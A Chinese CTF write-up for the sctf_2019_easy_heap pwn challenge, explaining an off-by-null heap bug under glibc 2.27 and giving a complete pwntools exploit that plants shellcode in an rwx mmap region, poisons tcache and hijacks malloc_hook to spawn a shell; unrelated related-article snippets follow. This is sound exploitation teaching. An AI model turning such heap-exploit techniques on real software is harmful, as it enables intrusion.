sctf_2019_easy_heap(off-by-null在2.27的利用)
题目的例行检查我就不放了
将程序放入ida中

漏洞也较为明显

可以看到 if这里多一个null ,明显的off by null 漏洞

程序在最开始的地方给了我们一个很大的空间,并且权限是rwx,所以我们可以第一时间想到往这里填shellcode然后讲malloc_hook的值修改为mmap的地址
这道题还是看了一下网上师傅们的wp(没忍住。我的错)
首先我们第一次往mmap的地方填入shellcode的时候
tcachebins 形成了这样的结构

我们可以通过修改这个chunk的fd打到任意地址写的能力(下面的double free是往malloc_hook写mmap地址的时候用)
所以这道题的思路就是:首先我们先申请四个chunk

我们将chunk0释放掉,这样里面就有了main_arena+96的地址,然后我们通过修改chunk1的内容,将chunk2实现了向上合并,我们再将chunk0,chunk1申请回来
这样就形成了这样的结构

然后我通过释放掉chunk 3 chunk 1 chunk 2 从而获得了tcachebins的那种结构,然后我们在申请 chunk1回来,就可以修改mmap的内容了
完整exp如下
from pwn import *
context(arch='amd64',os='linux')
p = process('./sctf_2019_easy_heap')
#p = remote('node4.buuoj.cn','25848')
elf = ELF('./sctf_2019_easy_heap')
libc = ELF('libc-2.27.so') def launch_gdb():
context.terminal = ['xfce4-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0]) def add(size):
p.sendlineafter('>> ','1')
p.sendlineafter('Size: ',str(size)) def edit(index,content):
p.sendlineafter('>> ','3')
p.sendlineafter('Index: ',str(index))
p.sendafter('Content: ',content) def free(index):
p.sendlineafter('>> ','2')
p.sendlineafter('Index: ',str(index)) launch_gdb()
p.recvuntil('Mmap: 0x')
mmap = int(p.recv(10),16)
print('mmap-->'+hex(mmap)) add(0x410)
add(0x58)
add(0x500-0x10)
add(0x58) free(0)
edit(1,b'a'*0x50+p64(0x420+0x60))
free(2)
add(0x410)
add(0x58) free(3) free(1) free(2) add(0x58)
edit(1,p64(mmap)+b'\n')
shellcode = asm(shellcraft.sh())
add(0x58)
add(0x58)
edit(3,shellcode+b'\n') add(0x500-0x10)
free(0)
edit(1,b'a'*0x50+p64(0x60+0x420))
free(1)
free(4) add(0x410) edit(2,p8(0x30)+b'\n')
add(0x58)
add(0x58)
edit(4,p64(mmap)+b'\n')
p.sendlineafter('>> ','1')
p.sendlineafter('Size: ',str(0x1)) p.interactive()
sctf_2019_easy_heap(off-by-null在2.27的利用)的更多相关文章
- 【Android 界面效果27】利用ViewPager、Fragment、PagerTabStrip实现多页面滑动效果
本文主要介绍如何利用ViewPager.Fragment.PagerTabStrip实现多页面滑动效果.即google play首页.新浪微博消息(at.评论.私信.广播)页面的效果.ViewPage ...
- 转载:oracle null处理
(1)NULL的基础概念,NULL的操作的基本特点NULL是数据库中特有的数据类型,当一条记录的某个列为NULL,则表示这个列的值是未知的.是不确定的.既然是未知的,就有无数种的可能性.因此,NULL ...
- 聊一聊js中的null、undefined与NaN
零.寒暄 翻翻自己的博客,上一篇竟然是六月26号的,说好的更新呢?回顾刚刚过去的这个七月,整天都是公司的入职培训加上自己的小论文,每天奋战到凌晨1点多,这是要挂的节奏啊!但是不论怎么说,自己的时间管理 ...
- null的数据类型
Oracle的NULL代表的含义是不确定,那么不确定的东西也会有确定的数据类型吗?或者换个说法,NULL在Oracle中的默认数据类型是什么,下面就来探讨这个问题. 首先公布答案,NULL的默认类型是 ...
- Android 那些年,处理getActivity()为null的日子
在日常开发中的时候,我们经常会使用ViewPager+Fragment进行视图滑动,在某些部分逻辑也许我们需要利用上下文Context(例如基本的Toast),但是由于Fragment只是衣服在Act ...
- ASP.NET Core的路由[3]:Router的创建者——RouteBuilder
在<注册URL模式与HttpHandler的映射关系>演示的实例中,我们总是利用一个RouteBuilder对象来为RouterMiddleware中间件创建所需的Router对象,接下来 ...
- 从MySQL 5.5迁移到Mariadb 10.1.14
从MySQL 5.5迁移到Mariadb 10.1.14 迁移计划如下: 1.备份MySQL 5.5的数据库,对指定库进行备份. 2.还原到Mariadb,然后建立复制. 3.然后就可以愿意啥时候切换 ...
- Java各种数据结构实现
1.单向链表 实现思路:创建Node类,包括自己的数据和指向下一个:创建Node类,包括头尾节点,实现添加.删除.输出等功能. tips:n = n.next不破坏链表结果,而n.next = n.n ...
- Linux中find常见用法示例
·find path -option [ -print ] [ -exec -ok command ] {} \; find命令的参数: pathname: find命 ...
随机推荐
- [atARC111F]Do you like query problems
(以下修改指1和2类操作,询问指3类操作,操作指修改或询问) 注意到总方案数确定,那么不妨求出答案的期望,再乘上方案数即为答案 (这里从期望的角度考虑只是为了描述方便,并没有太大的实际意义) 设$E( ...
- [loj3302]信号传递
由于n较大,可以将n个数中的关系对数量记录在$m*m$的矩阵中,记作$a[i][j]$ 考虑朴素的状压dp枚举排列,即$f[i]$表示以i中的数的一种排列为整个序列的前缀的最小代价,然后转移枚举下一个 ...
- 第05章 MySQL排序与分页
第05章 MySQL排序与分页 1. 排序数据 1.1 排序规则 使用 ORDER BY 子句排序 ASC(ascend): 升序 DESC(descend):降序 ORDER BY 子句在SELEC ...
- 洛谷 P5391 - [Cnoi2019]青染之心
洛谷题面传送门 介绍一种假做法,期望复杂度应该比较优秀,但可以卡掉( 首先这个问题显然严格强于只有添加元素的情况对吧,而只有添加元素的情况就是一个普通的背包,而只有插入操作的版本复杂度就已经达到了 \ ...
- Linux服务器查看个人硬盘配额
quota -uvs
- 46.Valid Parentheses
Valid Parentheses My Submissions QuestionEditorial Solution Total Accepted: 106346 Total Submissions ...
- ubuntu终端ls颜色配置
buntu中没有LS_COLORS,/etc/目录中也没有DIR_COLORS,所以这里使用dircolor命令加以解决 1. 利用dircolors命令,查看我们的系统当前的文件名称显示颜色的值,然 ...
- 9. Delete Node in a Linked List
Write a function to delete a node (except the tail) in a singly linked list, given only access to th ...
- Yarn 生产环境核心配置参数
目录 Yarn 生产环境核心配置参数 ResourceManager NodeManager Container Yarn 生产环境核心配置参数 ResourceManager 配置调度器 yarn. ...
- Flink基础
一.抽象层次 Flink提供不同级别的抽象来开发流/批处理应用程序. 最低级抽象只提供有状态流.它 通过Process Function嵌入到DataStream API中.它允许用户自由处理来自 ...